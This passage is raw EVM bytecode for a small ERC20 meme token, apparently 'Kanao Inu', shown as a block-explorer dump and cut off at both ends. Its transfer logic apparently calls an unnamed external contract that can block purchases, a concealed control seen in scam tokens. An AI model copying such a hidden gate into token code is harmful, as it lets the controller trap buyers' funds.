fffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c509190612847565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611c7d9190612a06565b6305f5e100611c8c9190612b24565b9050611cbf6006600a611c9f9190612a06565b6305f5e100611cae9190612b24565b600554610efd90919063ffffffff16565b821015611cf1576005546006600a611cd79190612a06565b6305f5e100611ce69190612b24565b935093505050611cfa565b81819350935050505b9091565b6000806000806000806000806000611d1b8a600754600854611f05565b9250925092506000611d2b611a6d565b90506000806000611d3e8e878787611f9b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611da883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611634565b905092915050565b6000808284611dbf919061292c565b905083811015611e04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfb90612747565b60405180910390fd5b8091505092915050565b6000611e18611a6d565b90506000611e2f828461202490919063ffffffff16565b9050611e8381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611ee082600554611d6690919063ffffffff16565b600581905550611efb81600654611db090919063ffffffff16565b6006819055505050565b600080600080611f316064611f23888a61202490919063ffffffff16565b610efd90919063ffffffff16565b90506000611f5b6064611f4d888b61202490919063ffffffff16565b610efd90919063ffffffff16565b90506000611f8482611f76858c611d6690919063ffffffff16565b611d6690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611fb4858961202490919063ffffffff16565b90506000611fcb868961202490919063ffffffff16565b90506000611fe2878961202490919063ffffffff16565b9050600061200b82611ffd8587611d6690919063ffffffff16565b611d6690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156120375760009050612099565b600082846120459190612b24565b90508284826120549190612982565b14612094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208b90612787565b60405180910390fd5b809150505b92915050565b6000813590506120ae81613021565b92915050565b6000815190506120c381613021565b92915050565b6000815190506120d881613038565b92915050565b6000813590506120ed8161304f565b92915050565b6000815190506121028161304f565b92915050565b60006020828403121561211e5761211d612d08565b5b600061212c8482850161209f565b91505092915050565b60006020828403121561214b5761214a612d08565b5b6000612159848285016120b4565b91505092915050565b6000806040838503121561217957612178612d08565b5b60006121878582860161209f565b92505060206121988582860161209f565b9150509250929050565b6000806000606084860312156121bb576121ba612d08565b5b60006121c98682870161209f565b93505060206121da8682870161209f565b92505060406121eb868287016120de565b9150509250925092565b6000806040838503121561220c5761220b612d08565b5b600061221a8582860161209f565b925050602061222b858286016120de565b9150509250929050565b60006020828403121561224b5761224a612d08565b5b6000612259848285016120c9565b91505092915050565b60006020828403121561227857612277612d08565b5b6000612286848285016120de565b91505092915050565b6000602082840312156122a5576122a4612d08565b5b60006122b3848285016120f3565b91505092915050565b6000806000606084860312156122d5576122d4612d08565b5b60006122e3868287016120f3565b93505060206122f4868287016120f3565b9250506040612305868287016120f3565b9150509250925092565b600061231b8383612327565b60208301905092915050565b61233081612bb2565b82525050565b61233f81612bb2565b82525050565b6000612350826128e7565b61235a818561290a565b9350612365836128d7565b8060005b8381101561239657815161237d888261230f565b9750612388836128fd565b925050600181019050612369565b5085935050505092915050565b6123ac81612bc4565b82525050565b6123bb81612c07565b82525050565b60006123cc826128f2565b6123d6818561291b565b93506123e6818560208601612c19565b6123ef81612d0d565b840191505092915050565b600061240760238361291b565b915061241282612d2b565b604082019050919050565b600061242a602a8361291b565b915061243582612d7a565b604082019050919050565b600061244d60228361291b565b915061245882612dc9565b604082019050919050565b600061247060178361291b565b915061247b82612e18565b602082019050919050565b6000612493601b8361291b565b915061249e82612e41565b602082019050919050565b60006124b6601a8361291b565b91506124c182612e6a565b602082019050919050565b60006124d960218361291b565b91506124e482612e93565b604082019050919050565b60006124fc60208361291b565b915061250782612ee2565b602082019050919050565b600061251f60298361291b565b915061252a82612f0b565b604082019050919050565b600061254260258361291b565b915061254d82612f5a565b604082019050919050565b600061256560248361291b565b915061257082612fa9565b604082019050919050565b6000612588601a8361291b565b915061259382612ff8565b602082019050919050565b6125a781612bf0565b82525050565b6125b681612bfa565b82525050565b60006020820190506125d16000830184612336565b92915050565b60006040820190506125ec6000830185612336565b6125f96020830184612336565b9392505050565b60006040820190506126156000830185612336565b612622602083018461259e565b9392505050565b600060c08201905061263e6000830189612336565b61264b602083018861259e565b61265860408301876123b2565b61266560608301866123b2565b6126726080830185612336565b61267f60a083018461259e565b979650505050505050565b600060208201905061269f60008301846123a3565b92915050565b600060208201905081810360008301526126bf81846123c1565b905092915050565b600060208201905081810360008301526126e0816123fa565b9050919050565b600060208201905081810360008301526127008161241d565b9050919050565b6000602082019050818103600083015261272081612440565b9050919050565b6000602082019050818103600083015261274081612463565b9050919050565b6000602082019050818103600083015261276081612486565b9050919050565b60006020820190508181036000830152612780816124a9565b9050919050565b600060208201905081810360008301526127a0816124cc565b9050919050565b600060208201905081810360008301526127c0816124ef565b9050919050565b600060208201905081810360008301526127e081612512565b9050919050565b6000602082019050818103600083015261280081612535565b9050919050565b6000602082019050818103600083015261282081612558565b9050919050565b600060208201905081810360008301526128408161257b565b9050919050565b600060208201905061285c600083018461259e565b92915050565b600060a082019050612877600083018861259e565b61288460208301876123b2565b81810360408301526128968186612345565b90506128a56060830185612336565b6128b2608083018461259e565b9695505050505050565b60006020820190506128d160008301846125ad565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061293782612bf0565b915061294283612bf0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561297757612976612c4c565b5b828201905092915050565b600061298d82612bf0565b915061299883612bf0565b9250826129a8576129a7612c7b565b5b828204905092915050565b6000808291508390505b60018511156129fd578086048111156129d9576129d8612c4c565b5b60018516156129e85780820291505b80810290506129f685612d1e565b94506129bd565b94509492505050565b6000612a1182612bf0565b9150612a1c83612bfa565b9250612a497fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612a51565b905092915050565b600082612a615760019050612b1d565b81612a6f5760009050612b1d565b8160018114612a855760028114612a8f57612abe565b6001915050612b1d565b60ff841115612aa157612aa0612c4c565b5b8360020a915084821115612ab857612ab7612c4c565b5b50612b1d565b5060208310610133831016604e8410600b8410161715612af35782820a905083811115612aee57612aed612c4c565b5b612b1d565b612b0084848460016129b3565b92509050818404811115612b1757612b16612c4c565b5b81810290505b9392505050565b6000612b2f82612bf0565b9150612b3a83612bf0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b7357612b72612c4c565b5b828202905092915050565b6000612b8982612bf0565b9150612b9483612bf0565b925082821015612ba757612ba6612c4c565b5b828203905092915050565b6000612bbd82612bd0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612c1282612bf0565b9050919050565b60005b83811015612c37578082015181840152602081019050612c1c565b83811115612c46576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74207374617274656420796574000000000000600082015250565b61302a81612bb2565b811461303557600080fd5b50565b61304181612bc4565b811461304c57600080fd5b50565b61305881612bf0565b811461306357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dd363802267661a97b17c649a246456699e5e3150c412dae60bb7b2f6099ba2e64736f6c63430008070033
Deployed Bytecode
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea57806351bc3c851461021557806356d9dce81461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b60405161012591906126a5565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906121f5565b6103e4565b604051610162919061268a565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612847565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906121a2565b610426565b6040516101ca919061268a565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c91906128bc565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a7c565b005b34801561024f57600080fd5b5061026a60048036038101906102659190612108565b610b64565b6040516102779190612847565b60405180910390f35b34801561028c57600080fd5b50610295610bb5565b005b3480156102a357600080fd5b506102ac610d08565b6040516102b991906125bc565b60405180910390f35b3480156102ce57600080fd5b506102d7610d31565b6040516102e491906126a5565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f9190612262565b610d6e565b005b34801561032257600080fd5b5061033d600480360381019061033891906121f5565b610de6565b60405161034a919061268a565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190612162565b610e04565b6040516103879190612847565b60405180910390f35b34801561039c57600080fd5b506103a5610e8b565b005b60606040518060400160405280600981526020017f4b616e616f20496e750000000000000000000000000000000000000000000000815250905090565b60006103f86103f1610f47565b8484610f4f565b6001905092915050565b60006006600a6104129190612a06565b6305f5e1006104219190612b24565b905090565b600061043384848461111a565b6104f48461043f610f47565b6104ef8560405180606001604052806028815260200161306760289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610f47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116349092919063ffffffff16565b610f4f565b600190509392505050565b610507610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612727565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e59190612a06565b6305f5e1006105f49190612b24565b610f4f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190612135565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190612135565b6040518363ffffffff1660e01b81526004016107729291906125d7565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190612135565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b64565b600080610858610d08565b426040518863ffffffff1660e01b815260040161087a96959493929190612629565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906122bc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a4929190612600565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612235565b50565b60006006905090565b610a0a610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6000610a6e30610b64565b9050610a7981611698565b50565b610a84610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610add57600080fd5b600c60149054906101000a900460ff16610b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2390612827565b60405180910390fd5b6000600c60166101000a81548160ff0219169083151502179055506000600c60146101000a81548160ff021916908315150217905550565b6000610bae600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611920565b9050919050565b610bbd610f47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c41906127a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4b414e414f000000000000000000000000000000000000000000000000000000815250905090565b610d76610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcf57600080fd5b60068110610ddc57600080fd5b8060088190555050565b6000610dfa610df3610f47565b848461111a565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e93610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eec57600080fd5b6000479050610efa8161198e565b50565b6000610f3f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119fa565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb690612807565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102690612707565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110d9190612847565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611181906127e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f1906126c7565b60405180910390fd5b6000811161123d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611234906127c7565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b815260040161128a91906125bc565b60206040518083038186803b1580156112a257600080fd5b505afa1580156112b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112da919061228f565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113855750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b611390576000611392565b815b111561139d57600080fd5b6113a5610d08565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561141357506113e3610d08565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561162457600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156114c35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115195750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561156357600a548110611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990612767565b60405180910390fd5b5b600061156e30610b64565b9050600c60159054906101000a900460ff161580156115db5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115f35750600c60169054906101000a900460ff165b156116225761160181611698565b6000479050670de0b6b3a76400008111156116205761161f4761198e565b5b505b505b61162f838383611a5d565b505050565b600083831115829061167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167391906126a5565b60405180910390fd5b506000838561168b9190612b7e565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116d0576116cf612cd9565b5b6040519080825280602002602001820160405280156116fe5781602001602082028036833780820191505090505b509050308160008151811061171657611715612caa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117b857600080fd5b505afa1580156117cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f09190612135565b8160018151811061180457611803612caa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061186b30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118cf959493929190612862565b600060405180830381600087803b1580156118e957600080fd5b505af11580156118fd573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b6000600554821115611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e906126e7565b60405180910390fd5b6000611971611a6d565b90506119868184610efd90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119f6573d6000803e3d6000fd5b5050565b60008083118290611a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3891906126a5565b60405180910390fd5b5060008385611a509190612982565b9050809150509392505050565b611a68838383611a98565b505050565b6000806000611a7a611c63565b91509150611a918183610efd90919063ffffffff16565b9250505090565b600080600080600080611aaa87611cfe565b955095509550955095509550611b0886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611be981611e0e565b611bf38483611ecb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c509190612847565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611c7d9190612a06565b6305f5e100611c8c9190612b24565b9050611cbf6006600a611c9f9190612a06565b6305f5e100611cae9190612b24565b600554610efd90919063ffffffff16565b821015611cf1576005546006600a611cd79190612a06565b6305f5e100611ce69190612b24565b935093505050611cfa565b81819350935050505b9091565b6000806000806000806000806000611d1b8a600754600854611f05565b9250925092506000611d2b611a6d565b90506000806000611d3e8e878787611f9b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611da883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611634565b905092915050565b6000808284611dbf919061292c565b905083811015611e04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfb90612747565b60405180910390fd5b8091505092915050565b6000611e18611a6d565b90506000611e2f828461202490919063ffffffff16565b9050611e8381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611ee082600554611d6690919063ffffffff16565b600581905550611efb81600654611db090919063ffffffff16565b6006819055505050565b600080600080611f316064611f23888a61202490919063ffffffff16565b610efd90919063ffffffff16565b90506000611f5b6064611f4d888b61202490919063ffffffff16565b610efd90919063ffffffff16565b90506000611f8482611f76858c611d6690919063ffffffff16565b611d6690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611fb4858961202490919063ffffffff16565b90506000611fcb868961202490919063ffffffff16565b90506000611fe2878961202490919063ffffffff16565b9050600061200b82611ffd8587611d6690919063ffffffff16565b611d6690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156120375760009050612099565b600082846120459190612b24565b90508284826120549190612982565b14612094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208b90612787565b60405180910390fd5b809150505b92915050565b6000813590506120ae81613021565b92915050565b6000815190506120c381613021565b92915050565b6000815190506120d881613038565b92915050565b6000813590506120ed8161304f565b92915050565b6000815190506121028161304f565b92915050565b60006020828403121561211e5761211d612d08565b5b600061212c8482850161209f565b91505092915050565b60006020828403121561214b5761214a612d08565b5b6000612159848285016120b4565b91505092915050565b6000806040838503121561217957612178612d08565b5b60006121878582860161209f565b92505060206121988582860161209f565b9150509250929050565b6000806000606084860312156121bb576121ba612d08565b5b60006121c98682870161209f565b93505060206121da8682870161209f565b92505060406121eb868287016120de565b9150509250925092565b6000806040838503121561220c5761220b612d08565b5b600061221a8582860161209f565b925050602061222b858286016120de565b9150509250929050565b60006020828403121561224b5761224a612d08565b5b6000612259848285016120c9565b91505092915050565b60006020828403121561227857612277612d08565b5b6000612286848285016120de565b91505092915050565b6000602082840312156122a5576122a4612d08565b5b60006122b3848285016120f3565b91505092915050565b6000806000606084860312156122d5576122d4612d08565b5b60006122e3868287016120f3565b93505060206122f4868287016120f3565b9250506040612305868287016120f3565b9150509250925092565b600061231b8383612327565b60208301905092915050565b61233081612bb2565b82525050565b61233f81612bb2565b82525050565b6000612350826128e7565b61235a818561290a565b9350612365836128d7565b8060005b8381101561239657815161237d888261230f565b9750612388836128fd565b925050600181019050612369565b5085935050505092915050565b6123ac81612bc4565b82525050565b6123bb81612c07565b82525050565b60006123cc826128f2565b6123d6818561291b565b93506123e6818560208601612c19565b6123ef81612d0d565b840191505092915050565b600061240760238361291b565b915061241282612d2b565b604082019050919050565b600061242a602a8361291b565b915061243582612d7a565b604082019050919050565b600061244d60228361291b565b915061245882612dc9565b604082019050919050565b600061247060178361291b565b915061247b82612e18565b602082019050919050565b6000612493601b8361291b565b915061249e82612e41565b602082019050919050565b60006124b6601a8361291b565b91506124c182612e6a565b602082019050919050565b60006124d960218361291b565b91506124e482612e93565b604082019050919050565b60006124fc60208361291b565b915061250782612ee2565b602082019050919050565b600061251f60298361291b565b915061252a82612f0b565b604082019050919050565b600061254260258361291b565b915061254d82612f5a565b604082019050919050565b600061256560248361291b565b915061257082612fa9565b604082019050919050565b6000612588601a8361291b565b915061259382612ff8565b602082019050919050565b6125a781612bf0565b82525050565b6125b681612bfa565b82525050565b60006020820190506125d16000830184612336565b92915050565b60006040820190506125ec6000830185612336565b6125f96020830184612336565b9392505050565b60006040820190506126156000830185612336565b612622602083018461259e565b9392505050565b600060c08201905061263e6000830189612336565b61264b602083018861259e565b61265860408301876123b2565b61266560608301866123b2565b6126726080830185612336565b61267f60a083018461259e565b979650505050505050565b600060208201905061269f60008301846123a3565b92915050565b600060208201905081810360008301526126bf81846123c1565b905092915050565b600060208201905081810360008301526126e0816123fa565b9050919050565b600060208201905081810360008301526127008161241d565b9050919050565b6000602082019050818103600083015261272081612440565b9050919050565b6000602082019050818103600083015261274081612463565b9050919050565b6000602082019050818103600083015261276081612486565b9050919050565b60006020820190508181036000830152612780816124a9565b9050919050565b600060208201905081810360008301526127a0816124cc565b9050919050565b600060208201905081810360008301526127c0816124ef565b9050919050565b600060208201905081810360008301526127e081612512565b9050919050565b6000602082019050818103600083015261280081612535565b9050919050565b6000602082019050818103600083015261282081612558565b9050919050565b600060208201905081810360008301526128408161257b565b9050919050565b600060208201905061285c600083018461259e565b92915050565b600060a082019050612877600083018861259e565b61288460208301876123b2565b81810360408301526128968186612345565b90506128a56060830185612336565b6128b2608083018461259e565b9695505050505050565b60006020820190506128d160008301846125ad565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061293782612bf0565b915061294283612bf0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561297757612976612c4c565b5b828201905092915050565b600061298d82612bf0565b915061299883612bf0565b9250826129a8576129a7612c7b565b5b828204905092915050565b6000808291508390505b60018511156129fd578086048111156129d9576129d8612c4c565b5b60018516156129e85780820291505b80810290506129f685612d1e565b94506129bd565b94509492505050565b6000612a1182612bf0565b9150612a1c83612bfa565b9250612a497fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612a51565b905092915050565b600082612a615760019050612b1d565b81612a6f5760009050612b1d565b8160018114612a855760028114612a8f57612abe565b6001915050612b1d565b60ff841115612aa157612aa0612c4c565b5b8360020a915084821115612ab857612ab7612c4c565b5b50612b1d565b5060208310610133831016604e8410600b8410161715612af35782820a905083811115612aee57612aed612c4c565b5b612b1d565b612b0084848460016129b3565b92509050818404811115612b1757612b16612c4c565b5b81810290505b9392505050565b6000612b2f82612bf0565b9150612b3a83612bf0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b7357612b72612c4c565b5b828202905092915050565b6000612b8982612bf0565b9150612b9483612bf0565b925082821015612ba757612ba6612c4c565b5b828203905092915050565b6000612bbd82612bd0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612c1282612bf0565b9050919050565b60005b83811015612c37578082015181840152602081019050612c1c565b83811115612c46576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b71000000000000000000000000000000000000000000000000000000006000526041600452602460